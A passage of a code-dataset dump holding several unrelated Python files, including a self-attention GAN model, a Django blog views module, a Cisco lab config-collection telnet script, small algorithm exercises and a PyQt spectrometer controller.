W * H\n \n out = self.gamma*out + x\n return out, attention\n\nclass Generator(nn.Module):\n \"\"\"\n Generator\n input: \n z: latent matrix with shape of (batch_size, 100)\n output: \n out: generated image with shape (batch_size, 1, 64, 64)\n p1: attention matrix generated by attn layer\n \"\"\"\n def __init__(self, batch_size=64, attn=True, image_size=64, z_dim=100, conv_dim=64):\n super().__init__()\n self.attn = attn\n \n # Layer 1 turn 100 dims -> 512 dims, size 1 -> 4\n layer1 = []\n layer1.append(SpectralNorm(nn.ConvTranspose2d(in_channels = z_dim, out_channels = conv_dim*8, kernel_size = 4)))\n layer1.append(nn.BatchNorm2d(conv_dim*8))\n layer1.append(nn.ReLU())\n self.l1 = nn.Sequential(*layer1)\n \n # Layer 2 turn 512 dims -> 256 dims, size 4 -> 8\n layer2 = []\n layer2.append(SpectralNorm(nn.ConvTranspose2d(in_channels = conv_dim*8, out_channels = conv_dim*4, \n kernel_size = 4, stride = 2, padding = 1)))\n layer2.append(nn.BatchNorm2d(conv_dim*4))\n layer2.append(nn.ReLU())\n self.l2 = nn.Sequential(*layer2)\n \n # Layer 3 turn 256 dims -> 128 dims, size 8 -> 16\n layer3 = []\n layer3.append(SpectralNorm(nn.ConvTranspose2d(in_channels = conv_dim*4, out_channels = conv_dim*2, \n kernel_size = 4, stride = 2, padding = 1)))\n layer3.append(nn.BatchNorm2d(conv_dim*2))\n layer3.append(nn.ReLU())\n self.l3 = nn.Sequential(*layer3)\n\n # Attn1 layer turn 128 dims -> 128 dims\n self.attn1 = Self_Attn(conv_dim*2)\n \n # Layer 4 turn 128 dims -> 64 dims, size 16 -> 32\n layer4 = []\n layer4.append(SpectralNorm(nn.ConvTranspose2d(in_channels = conv_dim*2, out_channels = conv_dim, \n kernel_size = 4, stride = 2, padding = 1)))\n layer4.append(nn.BatchNorm2d(conv_dim))\n layer4.append(nn.ReLU())\n self.l4 = nn.Sequential(*layer4)\n \n # Attn2 layer turn 64 dims -> 64 dims\n self.attn2 = Self_Attn(conv_dim)\n \n # Layer 5 turn 64 dims -> 3 dims, size 32 -> 64\n layer5 = []\n layer5.append(nn.ConvTranspose2d(conv_dim, 3, 4, 2, 1))\n layer5.append(nn.Tanh())\n self.l5 = nn.Sequential(*layer5)\n \n\n def forward(self, z):\n # z is the input random matrix for generator\n z = z.view(z.size(0), z.size(1), 1, 1)\n out=self.l1(z)\n out=self.l2(out)\n out=self.l3(out)\n if self.attn == True:\n out,_ = self.attn1(out)\n out=self.l4(out)\n if self.attn == True:\n out,_ = self.attn2(out)\n out=self.l5(out)\n\n return out\n\n\nclass Discriminator(nn.Module):\n \"\"\"\n Discriminator\n input:\n x: one batch of data with shape of (batch_size, 1, 64, 64)\n output: \n out.squeeze: a batch of scalars indicating the predict results\n p1: attention matrix generated by attn layer\n \"\"\"\n def __init__(self, batch_size=64, attn=True, image_size=64, conv_dim=64):\n super().__init__()\n self.attn = attn\n \n # Layer 1 turn 3 dims -> 64 dims, size 64 -> 32\n layer1 = []\n layer1.append(SpectralNorm(nn.Conv2d(3, conv_dim, 4, 2, 1)))\n layer1.append(nn.LeakyReLU(0.1))\n curr_dim = conv_dim\n self.l1 = nn.Sequential(*layer1)\n \n # Layer 2 turn 64 dims -> 128 dims, size 32 -> 16\n layer2 = []\n layer2.append(SpectralNorm(nn.Conv2d(curr_dim, curr_dim * 2, 4, 2, 1)))\n layer2.append(nn.LeakyReLU(0.1))\n curr_dim = curr_dim * 2\n self.l2 = nn.Sequential(*layer2)\n \n # Layer 3 turn 128 dims -> 256 dims, size 16 -> 8\n layer3 = []\n layer3.append(SpectralNorm(nn.Conv2d(curr_dim, curr_dim * 2, 4, 2, 1)))\n layer3.append(nn.LeakyReLU(0.1))\n curr_dim = curr_dim * 2\n self.l3 = nn.Sequential(*layer3)\n \n # Attn1 layer remains the same dim and size\n self.attn1 = Self_Attn(curr_dim)\n \n # Layer 4 turn 256 dims -> 512 dims, size 8 -> 4\n layer4 = []\n layer4.append(SpectralNorm(nn.Conv2d(curr_dim, curr_dim * 2, 4, 2, 1)))\n layer4.append(nn.LeakyReLU(0.1))\n curr_dim = curr_dim * 2\n self.l4 = nn.Sequential(*layer4)\n \n # Attn2 layer remains the same dim and size\n self.attn2 = Self_Attn(curr_dim)\n \n # Layer 5 turn 512 dims -> 1 dims, size 4 -> 1\n layer5 = []\n layer5.append(nn.Conv2d(curr_dim, 1, 4, 1, 0))\n self.l5 = nn.Sequential(*layer5)\n\n def forward(self, x):\n out = self.l1(x)\n out = self.l2(out)\n out = self.l3(out)\n if self.attn == True:\n out,_ = self.attn1(out)\n out = self.l4(out)\n if self.attn == True:\n out,_ = self.attn2(out)\n out = self.l5(out)\n\n return out.squeeze()\n","sub_path":"model_64.py","file_name":"model_64.py","file_ext":"py","file_size_in_byte":6721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"428715835","text":"import json\r\nimport numpy as np\r\nimport random\r\nimport argparse\r\n\r\nimport torch\r\n\r\nimport _Dataset\r\nimport _Network\r\nimport _Costfunc\r\nfrom Train.train_opts import TrainOpts\r\n\r\n\r\n##############################################################################\r\n# module dictionary\r\n##############################################################################\r\ndataset_module_dict = {\"KittiDataset\": _Dataset.KittiDataset,\r\n \"CSDataset\": _Dataset.CSDataset}\r\n\r\nnetwork_module_dict = {\"Monov2\": _Network.Monov2, \r\n \"ResFuse\": _Network.ResFuse}\r\n\r\ncostfunc_module_dict = {\"NormalMaskUns\": _Costfunc.NormalMaskUns,\r\n }\r\n\r\n##############################################################################\r\n# opts dictionary\r\n##############################################################################\r\ndataset_opt_dict = {\"KittiDataset\": _Dataset.KittiDatasetOpts,\r\n \"CSDataset\": _Dataset.CSDatasetOpts}\r\n\r\nnetwork_opt_dict = {\"Monov2\": _Network.Monov2Opts,\r\n \"ResFuse\": _Network.ResFuseOpts}\r\n\r\ncostfunc_opt_dict = {\"NormalMaskUns\": _Costfunc.NormalMaskUnsOpts,\r\n }\r\n\r\n\r\nclass JsonArg:\r\n def __init__(self):\r\n self.parser = argparse.ArgumentParser()\r\n self.parser.add_argument(\"--json_path\",\r\n type=str,\r\n required=True)\r\n\r\n def parse(self):\r\n return self.parser.parse_args()\r\n\r\n\r\nclass Stage():\r\n def __init__(self):\r\n self.phase = \"train\"\r\n self.is_visual = False\r\n \r\n def set_train_phase(self, network_module):\r\n self.phase = \"train\"\r\n network_module.set_train()\r\n \r\n def set_val_phase(self, network_module):\r\n self.phase = \"val\"\r\n network_module.set_eval()\r\n \r\n def set_test_phase(self, network_module):\r\n self.phase = \"test\"\r\n network_module.set_eval()\r\n\r\n\r\n\r\ndef import_module(dataset_id, network_id, costfunc_id):\r\n Dataset = dataset_module_dict[dataset_id]\r\n Network = network_module_dict[network_id]\r\n Costfunc = costfunc_module_dict[costfunc_id]\r\n return Dataset, Network, Costfunc\r\n\r\n\r\ndef import_opts(dataset_id, network_id, costfunc_id):\r\n DatasetOpts = dataset_opt_dict[dataset_id]\r\n NetworkOpts = network_opt_dict[network_id]\r\n CostfuncOpts = costfunc_opt_dict[costfunc_id]\r\n return DatasetOpts, NetworkOpts, CostfuncOpts\r\n\r\n\r\ndef json_to_data(json_path):\r\n print(\"read json file...\", end=\"\")\r\n with open(json_path, \"r\") as f:\r\n json_data = json.load(f)\r\n opts_dict = json_data[\"opts\"]\r\n dataset_id = json_data[\"dataset_id\"]\r\n network_id = json_data[\"network_id\"]\r\n costfunc_id = json_data[\"costfunc_id\"]\r\n describle = json_data[\"describle\"]\r\n print(\"Done!\")\r\n\r\n print(\"get Options...\", end=\"\")\r\n DatasetOpts, NetworkOpts, CostfuncOpts = import_opts(dataset_id,\r\n network_id,\r\n costfunc_id)\r\n opts = {}\r\n opts[\"t\"] = TrainOpts()\r\n opts[\"d\"] = DatasetOpts()\r\n opts[\"n\"] = NetworkOpts()\r\n opts[\"c\"] = CostfuncOpts()\r\n for k, v in opts.items():\r\n for key in v.__dict__:\r\n opts[k].__dict__[key] = opts_dict[key]\r\n print(\"Done!\")\r\n\r\n print(\"get Modules...\", end=\"\")\r\n Dataset, Network, Costfunc = import_module(dataset_id,\r\n network_id, costfunc_id)\r\n print(\"Done!\")\r\n\r\n return opts, Dataset, Network, Costfunc, [describle, dataset_id,\r\n network_id, costfunc_id]\r\n\r\n\r\ndef setup_seed(seed):\r\n torch.manual_seed(seed)\r\n torch.cuda.manual_seed_all(seed)\r\n np.random.seed(seed)\r\n random.seed(seed)\r\n # torch.backends.cudnn.deterministic = True\r\n","sub_path":"Utils/import_choice.py","file_name":"import_choice.py","file_ext":"py","file_size_in_byte":3886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"195731046","text":"'''\nCreated on 2016/03/04\n\n@author: hirano\n'''\nfrom colors import black_color, white_color, dark_gray_color, \\\n gray_color\nfrom itertools import chain\nimport pygame\n\nBACKGROUND_COLOR_KEY = 'background_color'\nSELECT_BACKGROUND_COLOR_KEY = 'select_background_color'\nBORDER_WIDTHS_KEY = 'border_widths'\nBORDER_COLOR_KEY = 'border_color'\nTEXT_COLOR_KEY = 'text_color'\nSELECT_TEXT_COLOR_KEY = 'select_text_color'\nPADDING_KEY = 'padding'\nFONT_KEY = 'font'\nTEXT_FONT_KEY = 'txtfont'\n\nOBJECT_RECTANGLE_CLASS = 'ObjectRectangle'\nLABEL_CLASS = 'Label'\nBUTTON_CLASS = 'Button'\nSTRING_LIST_VIEW_CLASS = 'StringListView'\nSTRING_LIST_ITEM_CLASS = 'StringListItem'\nPROCESS_SPINNER_CLASS = 'ProcessSpinner'\nVIRTUAL_KEYBOARD_CLASS = 'VirtualKeyboard'\n\n\nclass Theme(object):\n '''\n classdocs\n '''\n\n def __init__(self):\n '''\n Constructor\n '''\n self.styles = {}\n\n def set(self, class_name, key, value):\n self.styles.setdefault(class_name, {})\n self.styles[class_name][key] = value\n\n def get_dict(self, obj, base_name=OBJECT_RECTANGLE_CLASS):\n classes = []\n klass = obj.__class__\n while True:\n classes.append(klass)\n # print klass.__name__\n if klass.__name__ == base_name:\n break\n klass = klass.__bases__[0]\n re_style = {}\n for klass in classes:\n class_name = klass.__name__\n try:\n style = self.styles[class_name]\n except KeyError:\n style = {}\n\n re_style = dict(chain(style.iteritems(), re_style.iteritems()))\n\n return re_style\n\n\ndefault_theme = Theme()\ncurrent = None\n\n\ndef init_default_theme():\n default_theme.set(class_name=OBJECT_RECTANGLE_CLASS,\n key=BACKGROUND_COLOR_KEY,\n value=black_color)\n default_theme.set(class_name=OBJECT_RECTANGLE_CLASS,\n key=SELECT_BACKGROUND_COLOR_KEY,\n value=gray_color)\n default_theme.set(class_name=OBJECT_RECTANGLE_CLASS,\n key=BORDER_WIDTHS_KEY,\n value=0)\n default_theme.set(class_name=OBJECT_RECTANGLE_CLASS,\n key=BORDER_COLOR_KEY,\n value=None)\n\n default_theme.set(class_name=LABEL_CLASS,\n key=TEXT_COLOR_KEY,\n value=white_color)\n default_theme.set(class_name=LABEL_CLASS,\n key=SELECT_TEXT_COLOR_KEY,\n value=dark_gray_color)\n default_theme.set(class_name=LABEL_CLASS,\n key=PADDING_KEY,\n value=(6, 6))\n default_theme.set(class_name=LABEL_CLASS,\n key=BORDER_WIDTHS_KEY,\n value=0)\n default_theme.set(class_name=LABEL_CLASS,\n key=FONT_KEY,\n value=pygame.font.SysFont('Courier New', 22))\n\n default_theme.set(class_name=BUTTON_CLASS,\n key=BACKGROUND_COLOR_KEY,\n value=black_color)\n default_theme.set(class_name=BUTTON_CLASS,\n key=SELECT_BACKGROUND_COLOR_KEY,\n value=gray_color)\n default_theme.set(class_name=BUTTON_CLASS,\n key=BORDER_WIDTHS_KEY,\n value=1)\n default_theme.set(class_name=BUTTON_CLASS,\n key=BORDER_COLOR_KEY,\n value=white_color)\n default_theme.set(class_name=BUTTON_CLASS,\n key=TEXT_COLOR_KEY,\n value=white_color)\n default_theme.set(class_name=BUTTON_CLASS,\n key=SELECT_TEXT_COLOR_KEY,\n value=dark_gray_color)\n default_theme.set(class_name=BUTTON_CLASS,\n key=FONT_KEY,\n value=pygame.font.SysFont('Courier New', 20, bold=True))\n\n default_theme.set(class_name=STRING_LIST_VIEW_CLASS,\n key=BACKGROUND_COLOR_KEY,\n value=dark_gray_color)\n default_theme.set(class_name=STRING_LIST_VIEW_CLASS,\n key=SELECT_BACKGROUND_COLOR_KEY,\n value=dark_gray_color)\n default_theme.set(class_name=STRING_LIST_VIEW_CLASS,\n key=BORDER_WIDTHS_KEY,\n value=1)\n default_theme.set(class_name=STRING_LIST_VIEW_CLASS,\n key=BORDER_COLOR_KEY,\n value=white_color)\n\n default_theme.set(class_name=STRING_LIST_ITEM_CLASS,\n key=FONT_KEY,\n value=pygame.font.SysFont('Courier New', 20, bold=True))\n\n\ndef use_theme(theme):\n \"\"\"Make the given theme current.\n There are two included themes: light_theme, dark_theme.\n \"\"\"\n global current\n current = theme\n# import scene\n# if scene.current is not None:\n# scene.current.stylize()\n\ndef init():\n init_default_theme()\n use_theme(default_theme)\n","sub_path":"src/pygameuic/theme.py","file_name":"theme.py","file_ext":"py","file_size_in_byte":5001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"424785297","text":"class Stack:\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n return self.items.pop()\n\n def isEmpty(self):\n return self.items == []\n\n def peek(self):\n if self.items != []:\n return self.items[-1]\n\nclass Solution:\n\n def largestRectangle(self, arr):\n s = Stack()\n n = len(arr)\n maxArea = -1\n area = 0\n s.push(0)\n for i in range(1, n):\n while (not s.isEmpty() and arr[i] < arr[s.peek()]):\n top = s.pop()\n stackTop = s.peek()\n if s.isEmpty():\n area = arr[top]*i\n else:\n area = arr[top]*(i-stackTop-1)\n if area > maxArea:\n maxArea = area\n s.push(i)\n while not s.isEmpty():\n top = s.pop()\n stackTop = s.peek()\n if s.isEmpty():\n area = arr[top]*n\n else:\n area = arr[top]*(n-stackTop-1)\n if area > maxArea:\n maxArea = area\n return maxArea\n\nrr = Solution()\nr = rr.largestRectangle([6, 2, 5, 4, 5, 1, 6])\nprint(r)\n","sub_path":"Stacks/largest-rectangle-in-histogram.py","file_name":"largest-rectangle-in-histogram.py","file_ext":"py","file_size_in_byte":1233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"392282333","text":"#!/usr/bin/env python3\n# encoding: utf-8\n\nfrom typing import Tuple, Union\n\n\nclass Solution:\n def parse_next(self, s: str, start: int) -> Tuple[Union[None, str, int], int]:\n idx = start\n while idx < len(s) and s[idx] == ' ':\n idx += 1\n if idx == len(s):\n return None, idx\n if s[idx].isdigit():\n num = 0\n while idx < len(s) and s[idx].isdigit():\n num = num * 10 + ord(s[idx]) - ord('0')\n idx += 1\n return num, idx\n else:\n return s[idx], idx + 1\n\n def update_prod(self, curr_prod: int, curr_prod_op: str, curr_item: int):\n if curr_prod_op == '*':\n return curr_prod * curr_item\n elif curr_prod_op == '/':\n return curr_prod // curr_item\n else:\n assert 0\n\n def update_sum(self, curr_sum: int, curr_sum_op: str, curr_prod: int):\n if curr_sum_op == '+':\n return curr_sum + curr_prod\n elif curr_sum_op == '-':\n return curr_sum - curr_prod\n else:\n assert 0\n\n def eval(self, s: str, start: int) -> Tuple[int, int]:\n idx = start\n prev_is_num = False\n curr_sum = 0\n curr_prod = 1\n curr_sum_op = '+'\n curr_prod_op = '*'\n while idx < len(s):\n curr_item, next_idx = self.parse_next(s, idx)\n if isinstance(curr_item, int):\n curr_prod = self.update_prod(curr_prod, curr_prod_op, curr_item)\n prev_is_num = True\n elif curr_item == '-' and not prev_is_num:\n curr_sum_op = '-' if curr_sum_op == '+' else '+'\n elif curr_item in ('+', '-'):\n curr_sum = self.update_sum(curr_sum, curr_sum_op, curr_prod)\n curr_sum_op = curr_item\n curr_prod_op = '*'\n curr_prod = 1\n prev_is_num = False\n elif curr_item in ('*', '/'):\n curr_prod_op = curr_item\n prev_is_num = False\n elif curr_item == '(':\n curr_item, next_idx = self.eval(s, next_idx)\n curr_prod = self.update_prod(curr_prod, curr_prod_op, curr_item)\n prev_is_num = True\n elif curr_item == ')':\n idx = next_idx\n break\n else:\n assert next_idx == len(s)\n idx = next_idx\n if prev_is_num:\n return self.update_sum(curr_sum, curr_sum_op, curr_prod), idx\n else:\n return 0, idx\n\n def calculate(self, s: str) -> int:\n num, next_idx = self.eval(s, 0)\n assert next_idx == len(s)\n return num\n","sub_path":"coding/00772-basic-calculator-iii/solution_recur.py","file_name":"solution_recur.py","file_ext":"py","file_size_in_byte":2702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"53567594","text":"#! /usr/bin/env python3\n# -*- coding: utf-8 -*-\n# github: https://github.com/houm01\n\n\nimport re\nimport time\nimport telnetlib\nfrom socket import *\n\n\ndef port_scaner(host):\n # 以下代码参考自:https://zhuanlan.zhihu.com/p/31042201\n # host = sys.argv[1]\n host = host\n # protstrs = sys.argv[2].splist('-')\n # portstrs = '34000-35000'\n\n # start_port = int(portstrs[0])\n start_port = 34000\n end_port = 35000\n # end_port = int(portstrs[1])\n\n target_ip = gethostbyname(host)\n opened_ports = []\n\n for port in range(start_port, end_port):\n sock = socket(AF_INET, SOCK_STREAM)\n sock.settimeout(10)\n result = sock.connect_ex((target_ip, port))\n if result == 0:\n opened_ports.append(port)\n print('扫描到开放的端口如下\\n')\n print(opened_ports)\n return opened_ports\n\n\ndef telnet_get_config(host, port):\n tn = telnetlib.Telnet(host, port, timeout=3)\n time.sleep(1)\n tn.write(b'\\n')\n time.sleep(1)\n tn.read_until(b\"R\")\n tn.write('enable'.encode('ascii') + b'\\n')\n time.sleep(1)\n tn.write('terminal length 0'.encode('ascii') + b'\\n')\n time.sleep(1)\n tn.write('show running-config'.encode('ascii') + b'\\n')\n time.sleep(3) # 最好用5秒能将 show running 输出完\n tn.write('terminal no length'.encode('ascii') + b'\\n')\n time.sleep(1)\n show_running = tn.read_very_eager().decode()\n tn.close()\n return show_running\n\n\ndef telnet_get_sw_config(host, port):\n tn = telnetlib.Telnet(host, port, timeout=3)\n time.sleep(1)\n tn.write(b'\\n')\n time.sleep(1)\n tn.read_until(b\"sw\")\n tn.write('enable'.encode('ascii') + b'\\n')\n time.sleep(1)\n tn.write('terminal length 0'.encode('ascii') + b'\\n')\n time.sleep(1)\n tn.write('show running-config'.encode('ascii') + b'\\n')\n time.sleep(3) # 最好用5秒能将 show running 输出完\n tn.write('terminal no length'.encode('ascii') + b'\\n')\n time.sleep(1)\n show_running = tn.read_very_eager().decode()\n tn.close()\n return show_running\n\n\nif __name__ == '__main__':\n print('\\n程序开始运行,请确保已经用CRT或Putty打开了所有设备,否则部分设备将获取不成功\\n')\n print('每台设备需要30秒左右\\n')\n print('如果程序长时间未自动结束,请手动按 ctrl+c 退出程序')\n print('-----------------------------------------------------------------')\n host = input('请输入您的模拟器IP:\\n')\n not_get_port = []\n # port_test = ['34075, 34076']\n for i in port_scaner(host):\n # for i in port_test:\n try:\n hostname = re.search('hostname ([A-Za-z0-9]*)', telnet_get_config(host, i)).groups()[0]\n filename = hostname + '.txt'\n file = open(filename, 'w')\n print('\\n正在获取的设备是:' + hostname)\n file.write(telnet_get_config(host, i))\n file.close()\n except BaseException as e:\n print('未成功获取的设备端口:' + str(i))\n hostname_sw = re.search('hostname ([A-Za-z0-9]*)', telnet_get_config(host, i)).groups()[0]\n filename_sw = hostname_sw + '.txt'\n file = open(filename_sw, 'w')\n print('正在获取的设备是:' + hostname_sw)\n file.write(telnet_get_config(host, i))\n file.close()\n print(e)\n\n\n","sub_path":"python_test/CCIE_Lab/config_homework.py","file_name":"config_homework.py","file_ext":"py","file_size_in_byte":3355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"288495911","text":"from django.shortcuts import render, get_object_or_404, redirect, reverse\nfrom django.contrib import messages\nfrom .models import Post, Comment\nfrom .forms import CommentForm, PostForm\nfrom django.contrib.auth.decorators import login_required\n\n\ndef view_blog(request):\n ''' A view to show the blog page '''\n\n posts = Post.objects.all()\n template = \"blog/view_blog.html\"\n context = {\n \"posts\": posts,\n }\n\n return render(request,\n template,\n context)\n\n\ndef view_post(request, post_id):\n ''' Show the single post page and\n the comments and comments form to logged in users\n '''\n\n post = get_object_or_404(Post, pk=post_id)\n if request.method == \"POST\":\n form = CommentForm(request.POST)\n if form.is_valid():\n comment = form.save(commit=False)\n comment.post = post\n comment.author = request.user\n form.save()\n messages.success(request, \"Your comment has been added.\")\n return redirect(reverse(\"view_post\", args=[post_id]))\n else:\n messages.error(request,\n \"Error adding your comment please try again\")\n return redirect(reverse(\"view_post\", args=[post_id]))\n comments = Comment.objects.filter(post=post)\n\n form = CommentForm()\n template = \"blog/post.html\"\n\n context = {\n \"form\": form,\n \"post\": post,\n \"comments\": comments,\n }\n\n return render(request,\n template,\n context)\n\n\n@login_required\ndef delete_comment(request, post_id):\n ''' A view to delete a users comment\n Will also show an error msg if a user tries type\n the url into the browser.\n '''\n\n if request.method == \"POST\":\n try:\n comment = get_object_or_404(\n Comment, pk=request.POST[\"comment_id\"])\n comment.delete()\n messages.success(request, \"Your comment has been deleted.\")\n return redirect(reverse(\"view_post\", args=[post_id]))\n except Exception as error:\n messages.error(request, \"Error deleteing your comment\")\n return redirect(reverse(\"view_post\", args=[post_id]))\n else:\n messages.error(request, \"Error you do not have \\\npermission to do this.\")\n return redirect(reverse(\"view_post\", args=[post_id]))\n\n\n@login_required\ndef add_post(request):\n ''' A view to allow superusers to add a new blog post\n from the front end of the website. If a user types the\n url into the browser they will get an error message.\n '''\n\n if request.user.is_superuser:\n if request.method == \"POST\":\n form = PostForm(request.POST, request.FILES)\n if form.is_valid():\n post = form.save(commit=False)\n post.author = request.user\n post.save()\n messages.success(request, \"Post has been added successfully.\")\n return redirect(reverse(\"view_post\", args=[post.id]))\n else:\n messages.error(request,\n \"Failed to add the post. \\\nPlease check the form details are correct and try again.\")\n else:\n form = PostForm()\n else:\n messages.error(request, \"You do not have permission to do this.\")\n return redirect(reverse(\"view_blog\"))\n template = \"blog/add_post.html\"\n context = {\n \"form\": form,\n }\n\n return render(request,\n template,\n context)\n\n\n@login_required\ndef edit_post(request, post_id):\n ''' A view to allow the super user to edit a post\n from the front end of the website. It will also\n give an error msg if the user tries to type the url\n into the browser.\n '''\n\n if request.user.is_superuser:\n post = get_object_or_404(Post, pk=post_id)\n if request.method == \"POST\":\n form = PostForm(request.POST, request.FILES, instance=post)\n if form.is_valid():\n form.save()\n messages.success(request,\n \"Post updated successfully\")\n return redirect(reverse(\"view_post\", args=[post.id]))\n else:\n messages.error(request,\n \"Failed to edit the post. \\\nPlease check the form details are correct and try again.\")\n else:\n form = PostForm(instance=post)\n else:\n messages.error(request, \"You do not have permission to do this.\")\n return redirect(reverse(\"view_blog\"))\n\n template = \"blog/add_post.html\"\n context = {\n \"form\": form,\n \"post\": post,\n \"edit_post\": True,\n }\n\n return render(request,\n template,\n context)\n\n\n@login_required\ndef delete_post(request, post_id):\n ''' view to delete a post from the front end of\n the website also gives an error message if the\n user types the url into the browser\n '''\n\n if request.user.is_superuser:\n if request.method == \"POST\":\n post = get_object_or_404(Post, pk=post_id)\n post.delete()\n messages.success(request, \"Post has been deleted\")\n return redirect(reverse(\"view_blog\"))\n else:\n messages.error(request, \"You do not have permission to do this.\")\n return redirect(reverse(\"view_blog\"))\n else:\n messages.error(request, \"You do not have permission to do this.\")\n return redirect(reverse(\"view_blog\"))\n","sub_path":"blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"46258928","text":"def main():\n email_dic = {}\n email = input(\"Email: \")\n while email != \"\":\n user_name = get_name(email)\n check_name = input(\"Is your name {}? (Y/n) \".format(user_name)).upper()\n if check_name != \"Y\" or check_name != \"\":\n user_name = input(\"Name: \")\n email_dic[email] = user_name\n email = input(\"Email: \")\n for email, user_name in email_dic.items():\n print(\"{} ({})\".format(user_name, email))\n\n\ndef get_name(email):\n remove_email = email.split(\"@\")[0]\n separate_names = remove_email.split(\".\")\n user_name = \" \".join(separate_names).title()\n return user_name\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"prac_05/emails.py","file_name":"emails.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"407933003","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb 03 12:53:22 2015\n\n@author: dvalovcin\n\"\"\"\n\nimport numpy as np\n\n\nfrom PyQt5 import QtCore, QtGui, QtWidgets\nfrom UIs.SPEXWindow_ui import Ui_SPEXController\nimport threading\nimport time\nfrom InstsAndQt.Instruments import SPEX\nimport pyqtgraph as pg\npg.setConfigOption('background', 'w')\npg.setConfigOption('foreground', 'k')\ntry:\n import visa\nexcept:\n print('Error. VISA library not installed')\nimport logging\nlog = logging.getLogger(\"SPEX\")\n\nclass SPEXWin(QtWidgets.QMainWindow):\n updateDataSig = QtCore.pyqtSignal(object)\n statusSig = QtCore.pyqtSignal(object)\n scopeCollectionThread = None\n def __init__(self, SPEXInfo = None, parent = None):\n '''SPEXInfo should be either the GPIB to which it should open, or an actual instrument handle'''\n super(SPEXWin, self).__init__()\n if not parent is None:\n self.settings = parent.settings\n self.SPEX = parent.SPEX\n parent.wnUpdateSig.connect(self.updateStatusBarBoth)\n #Do some handling here to set up handling signals froma parent to update\n #values\n else:\n self.initSettings()\n self.parent = parent\n self.initUI()\n if parent is None:\n # hide it if no parent: no knowledge\n # of frequencies\n self.ui.sbSB.setVisible(False)\n self.ui.lSBO.setVisible(False)\n else:\n if 0 in [self.settings.get(ii, 0) for ii in [\"fel_lambda\", \"nir_lambda\"]]:\n self.ui.sbSB.setEnabled(False)\n self.ui.sbSB.setToolTip(\"Reopen after setting wavelengths\")\n else:\n self.ui.sbSB.valueChanged.connect(self.setPosFromSB)\n\n if SPEXInfo is None:\n SPEXInfo = 'GPIB0::1::INSTR'\n if type(SPEXInfo) is str:\n self.settings['sGPIB'] = SPEXInfo\n self.openSPEX()\n # figure out where the spex is\n try:\n pos = self.SPEX.stepsToWN(self.SPEX.curStep())\n except TypeError:\n log.warning(\"Error, spex not initialized!\")\n QtWidgets.QMessageBox.critical(self, \"Error\", \"Error! SPEX not initalized!\")\n pos = 0\n self.ui.sbGoto.setValue(pos)\n\n\n if parent:\n self.ui.cGPIB.setEnabled(False)\n\n self.statusSig.connect(self.updateStatusBar)\n\n\n\n def initUI(self):\n self.ui = Ui_SPEXController()\n self.ui.setupUi(self)\n\n self.tGot = QtWidgets.QLabel(self)\n self.tWant = QtWidgets.QLabel(self)\n self.ui.statusbar.addPermanentWidget(self.tWant, 1)\n self.ui.statusbar.addPermanentWidget(self.tGot, 1)\n\n try:\n res = list(visa.ResourceManager().list_resources())\n res = [i for i in res]\n except:\n res = ['a', 'b','c']\n res.append('Fake')\n self.settings['GPIBChoices'] = res\n self.ui.cGPIB.addItems(res)\n self.ui.cGPIB.setCurrentIndex(res.index(self.settings['sGPIB'])) #-1 for counting from 0\n\n self.ui.bDone.clicked.connect(self.closeEvent)\n self.ui.bGo.clicked.connect(self.changeWN)\n\n self.ui.sbGoto.setOpts(step=1, int=True, decimals=9, bounds=(10000, 15000))\n self.ui.cGPIB.currentIndexChanged.connect(self.openSPEX)\n\n self.ui.actionInitiate_SPEX.triggered.connect(self.initSPEX)\n\n self.show()\n\n def openSPEX(self):\n try:\n self.SPEX.close()\n except:\n pass\n try:\n self.SPEX = SPEX(str(self.ui.cGPIB.currentText()))\n pos = self.SPEX.stepsToWN(self.SPEX.curStep())\n self.ui.sbGoto.setValue(pos)\n print('SPEX opened')\n except (AttributeError, TypeError):\n # Don't reset open instrument if\n # you failed from a boot error\n if self.SPEX.whereAmI().lower() == 'b':\n print(\"SPEX not initialized\")\n return\n except Exception as e:\n print('Error opening SPEX.')\n log.exception(\"Couldn't init\")\n\n\n self.settings['sGPIB'] = 'Fake'\n self.SPEX = SPEX(\"Fake\")\n self.ui.cGPIB.currentIndexChanged.disconnect(self.openSPEX)\n self.ui.cGPIB.setCurrentIndex(\n self.ui.cGPIB.findText(\"Fake\")\n )\n self.ui.cGPIB.currentIndexChanged.connect(self.openSPEX)\n\n def initSettings(self):\n #Initializes all the settings for the window in one tidy location,\n #make it have a more logical place if settings are saved and recalled eac\n #time\n s = dict()\n #Communication settings\n s['aGPIB'] = 'Fake'\n s['sGPIB'] = 'Fake'\n s['GPIBChoices'] = []\n\n\n self.settings = s\n\n def initSPEX(self):\n \"\"\"\n Input the exact value read on the SPEX. The subtraction\n is done automatically\n :return:\n \"\"\"\n newWN, ok= QtWidgets.QInputDialog.getDouble(\n self, \"Current SPEX Wavenumber\",\n \"Current SPEX Value (exact value)\",\n 13000, 10000, 15000\n )\n if not ok: return\n self.SPEX.initBoot(newWN)\n if self.parent is not None:\n self.parent.openSPEX()\n self.ui.sbGoto.setValue(\n self.SPEX.currentPositionWN\n )\n else:\n self.openSPEX()\n\n def changeWN(self):\n self.ui.sbGoto.setEnabled(False)\n self.ui.bGo.setEnabled(False)\n desiredWN = float(self.ui.sbGoto.text())\n# self.statusSig.emit([self.tWant, self.SPEX.wavenumberToSteps(desiredWN)])\n self.tWant.setText('Wanted: {}'.format(desiredWN))\n log.debug(\"Wanted {}wn, {} steps\".format(desiredWN, self.SPEX.wavenumberToSteps(desiredWN)))\n 